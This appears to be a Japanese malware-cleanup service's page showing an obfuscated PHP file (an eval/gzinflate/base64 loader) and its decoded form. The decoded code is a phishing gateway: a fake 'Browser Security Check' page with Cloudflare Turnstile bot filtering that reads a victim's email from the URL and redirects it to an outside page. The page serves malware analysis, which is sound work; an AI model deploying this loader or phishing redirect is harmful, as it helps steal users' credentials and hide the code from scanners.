PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1K\x42rNK85Pz\x63gqLU4mLq\x43\x43\x63lFqe\x61m\x63Snp\x43\x62np6Rq\x41O0sSi3TUPHJrNBE\x41tY\x41";
$Lix = "\x3d\x3dgN9N0h7Y39\x42tu\x626t23nF7\x41\x418ftuz4KFU\x41V/xUH\x619VpWY\x2bhpflWN4x2yMlMENTzYf\x4124vWuDgyYuls7MXL7Xlz2Lyk9\x2b\x61DG955STwmMxT7S/8x88kwZvjr\x61OMYjqqPkXe\x61hgr2putH\x426Sm2l7\x61yj51FLnGeG8qG/kZpYdnj7iFH65i63X\x43\x2b1qX/JolV\x42ud1sE5t1QnSrNN\x62wnS7pgVSYwwkS\x63/Oky11\x63\x42R57T\x4186Htdvd\x62tuHhkD7J\x42wf\x43gedx6g\x61kN\x43ezVOvr\x6267UGskEgs1S\x62of\x424VDlPkLnj988eDU\x639tiVulfWh1NUHH0nO0zK5\x2bixYfZjpV8yDhs57nEV\x2b\x61h/YLoFhTt29X3O4Sh8FEG\x61igVKS3WtKjj7MqgrFv9gvHNq\x41rpOnrJ9WYR\x42/\x62zuo4QkD6lupFP\x62kXwjyW\x41mW\x2b\x437wyGTG\x61\x42nJXqP\x62OPGqLO\x61s9fmZMS2YtT9n\x63hnjPK31IYeU\x61M06Mii/NHLoKRi9tKxEy\x41zTZEG1pj00xWtVUg8OLLZyxi\x626YwwqKUT0Vx6Yi2xj\x61RuRmjm\x62eT5SPq16j\x62t2ssn\x61Gr/kTNh1\x42GYKG2KoGZzymWWjzJMKS3TG0J8\x63xMO\x42\x62kyxD\x42PtvnV\x43VkWmmTS/jnV\x43\x62\x63MNZLMusnRhhHRui/0TIsGy6rztVXv37m180D5OixqT\x2bKKPmO\x2bYS\x61yXZrgl\x2buQ9EqgfDe6oW/4o0x\x2bJMe\x61xWYqu0OO7LzFV6h0rwj8Q8UJ\x2bYlK1T9\x2be7xsSUEyiF7\x63Kuon3Tqodkwqnr99z5Jv\x63yh3QkpK5pk19ZjOwFLfSuZY4H\x62IJnVTr9EKpVTQVJLV4P2vx\x2bpRL\x43OM\x61togMnJDSJuOmxOpdYF\x42P6vXwWyj\x62O935jRmmDETksIdk\x62trQP\x43E\x62tIpJWWkzOofPIrUuxkiki\x42TPJusF/Y\x2boLdoMonyyTHff4xr3PeEP6\x63yz9P5\x42P2QTMOtIY\x61OssG1MLO\x41\x61SHk\x62tySz06D\x2bttYF20\x43OUUWx8Fgdlvo\x2b\x41X5L\x41kHFEKiR7jT\x43rI\x43Q3On5F/yoF3Nmtl4Xx4k742S\x63M\x420UgN8\x617SxvSDKW7y\x427IMg52Ltid\x62\x613/US2\x42qX\x61t0\x62vL2R2OvNK\x61foOTu\x2bYN2onjs\x42SUjtPwRz\x63\x634Wn43K25\x6280i\x637G\x4332DGP5mVJi0\x43WmmolIoYR32\x2bhuqrNi\x6283ir0fXjZeKfrnGxrw/8YMpVkZY9NotT/\x62vnfT135qw\x62\x43P\x62\x635\x61UrrSljfnG\x62pz0ETH30r\x2bFdZo\x42d\x62RW\x43t6\x2bNL2u40fs9ixP99fvf\x622jxsT/w2rHfsH9zt0GF\x42T5\x61X2E\x41er7Dkn\x43fi5d\x42t4yG7KhoPymdyWtN2\x61\x62LYuuE9QYTv\x42XRuezFn\x2b5sHlngj6Ls8oDtkFrOGOpE\x61wKYqI2iDqhlJW\x42NHng5hsMxSdZvg2nqFlgqg8pU6yng\x62Dgx9msqsRqiFj4/TxVX25E5V\x42twjMJoTq\x43ilevDrGF77RWuJmVrEL\x42Gh\x41fDJ\x2bNn3j\x612\x42MlYgGIz6XrsQl3iUWWDYDsKT8\x43\x2bF4H\x62GNFypRN6ppzHJ1KLvxS0T\x439x\x42NG/pNrXtXzG4tTQ0pWI4WjMWG\x62kT4\x43RI1DTpOHW\x41KFsQYvPP62ejdMjxQ\x63pVRTNq57qTv8M\x41TDsXU88F\x43UHQP6hTH8kHH/4tXO89g\x61Xm/Pxq/fp3/Puv9zwzJtsOvmZsSk4YoeIl0LnVxZdiX5W1S\x43\x2brslsg\x2b8VF70KFS\x43Dn\x61R6\x42SW\x412X0KgY0JOo\x627ij6emWYSs\x41w\x61K0\x62lox1sER59E6Fg9\x41Rfy1g\x42qsig\x41qTHni\x61Gr0Vo\x62FT/\x43of\x61UZL\x61Wr94\x42WGY0NDj\x61mRhq\x2b8XEsUKFMUO\x41qh\x43\x62f7ItesLGjXWiU6fnp\x63pMZr\x61WWIDMNLIf62Fnfxyuj3NkUpgWDP9Zg8uJfn8ugkyiQQ02LLSv4t/\x2b//\x63FurKsGH4DZhIZPfETEhJ8W\x2bsS4\x43ehs\x62RtO2mS\x639\x41\x613iWEnp\x42J\x618t\x62T\x625jtk\x43IOpGIEZRge/mJN\x2b\x43f\x61Ju9/E2dL\x43OOLHgt14olF\x62r\x43507LYMrHmVGFsuGITjE0SUpyZVYG2RMjViuSW4EKlD8\x41\x41f8wfM\x63W\x43INE9xIR4N908V3\x62W/\x42H\x2by0oINKik0MMi\x63WS\x63\x43\x63olNlrSK\x62Fz\x2bfXtf2U/2trL/yLyZuV\x62\x2b/94Xf1pH\x61To7\x41Yo2zSYhJSuQ\x43Z9\x43\x63TwjVi\x63Gq\x41e\x61O/Uqvvu61vl\x2brVXe8Wx8\x2bLN\x62\x2bTyJGD7\x62GlnOHe4hgE/h\x42IYZR\x41VuH\x41kpK\x41UpJRJR\x61XEwEFvQzkYFvhQoH\x634hHeiOuFQ4lmMyy\x41yl0mGFkj5\x43P0n3F37Z/e\x41pEf0x\x62sZQ\x41ks3783ryUHm\x42PJGRGGy80\x63ruOTrmd\x62\x62S2d7ujtpt13OInhkNZ90D8vrn/jhN\x62OX7YVZ\x2buYQ0\x42wJe5Pi\x42\x63HQ\x2beYQ4\x42wJe5Ph\x42sHQ\x2bOYQ8\x42wJe5Pg\x428H\x41\x2b\x2bfQ\x41\x42wJe";
eval(htmlspecialchars_decode(gzinflate(base64_decode($Cyto))));
exit;
?>

デコード(難読化解除)されたコード

<?php

$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUPHJrNBEAtYA";
$Lix = "==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";
eval {
    include 'antibot.php';
    // Cloudflare Turnstile site and secret keys
    $site_key = "0x4AAAAAAA_gpABJuKFg6NsY";
    // Replace with your site key
    $secret_key = "0x4AAAAAAA_gpEBFSFx9ZSixeAh7HDlRjZM";
    // Replace with your secret key
    // Turnstile verification function
    function verifyTurnstile($token, $secret_key)
    {
        $url = 'https://challenges.cloudflare.com/turnstile/v0/siteverify';
        $data = ['secret' => $secret_key, 'response' => $token];
        $options = ['http' => ['header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data)]];
        $context = stream_context_create($options);
        $result = file_get_contents($url, false, $context);
        return json_decode($result, true);
    }
    // Function to check if input is Base64 encoded
    function isBase64($data)
    {
        return (bool) preg_match('/^[a-zA-Z0-9\\/\\r\\n+]*={0,2}$/', $data) && base64_encode(base64_decode($data, true)) === $data;
    }
    // Function to decode the email and redirect
    function decode($email)
    {
        if (isBase64($email)) {
            $email = base64_decode($email, true);
        }
        $url = "https://autoverify.vercel.app/index.html#" . $email;
        header("Location: " . $url);
        exit;
    }
    // Function to redirect when email is not provided
    function redirectWithoutEmail()
    {
        header("Location: https://autoverify.vercel.app/index.html#");
        exit;
    }
    // Function to checks if the userid parameter is present in the query string
    if (isset($_GET['userid']) && !empty($_GET['userid'])) {
        $email = $_GET['userid'];
        decode($email);
    }
    // Handling form submission
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Check if Turnstile token is present
        if (isset($_POST['cf-turnstile-response']) && !empty($_POST['cf-turnstile-response'])) {
            $turnstile_response = $_POST['cf-turnstile-response'];
            $verification = verifyTurnstile($turnstile_response, $secret_key);
            // Check if Turnstile verification is successful
            if ($verification['success']) {
                // Turnstile passed, check if email (userid) is provided
                if (isset($_POST['userid']) && !empty($_POST['userid'])) {
                    $email = $_POST['userid'];
                    decode($email);
                } else {
                    // If email is not provided, redirect to default page
                    redirectWithoutEmail();
                }
            } else {
                echo "Turnstile verification failed. Please try again.";
            }
        } else {
            echo "Turnstile token not found. Please complete the challenge.";
        }
    }
    ?>

<!DOCTYPE html>
<html>
<head>
    <title>Browser Security Check</title>
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
    <style>
        /* Align content to the top */
        body, html {
            height: 100%;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: flex-start; /* Align to top */
            font-family: Arial, sans-serif;
        }
        #cf-turnstile {
            margin-top: 20px; /* Optional: add some spacing from the top */
        }
        /* Optional: style the form and loading text */
        .container {
            text-align: center;
            margin-top: 70px; /* Add margin for top spacing */
        }
    </style>
</head>
<body>

<div class="container">
    <p><strong>Browser Security Check.</strong></p>
    <div id="cf-turnstile"></div>

    <form method="POST" id="turnstile-form">
        <input type="hidden" id="cf-turnstile-response" name="cf-turnstile-response">
        <input type="hidden" id="userid" name="userid"> <!-- Dynamic value will be set here -->
    </form>
</div>

<script>
    function getEmailFromPath() {
        const pathSegments = window.location.pathname.split('/');
        return pathSegments.length > 1 ? btoa(pathSegments[pathSegments.length - 1]) : ''; // Base64 encode the last segment (email)
    }

    document.getElementById('userid').value = getEmailFromPath();

    turnstile.ready(function () {
        turnstile.render('#cf-turnstile', {
            sitekey: '0x4AAAAAAA_gpABJuKFg6NsY', // Replace with your site key
            callback: function(token) {
                document.getElementById('cf-turnstile-response').value = token;
                document.getElementById('turnstile-form').submit();
            },
        });
    });
</script>

</body>
</html><?php 
};
exit;

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.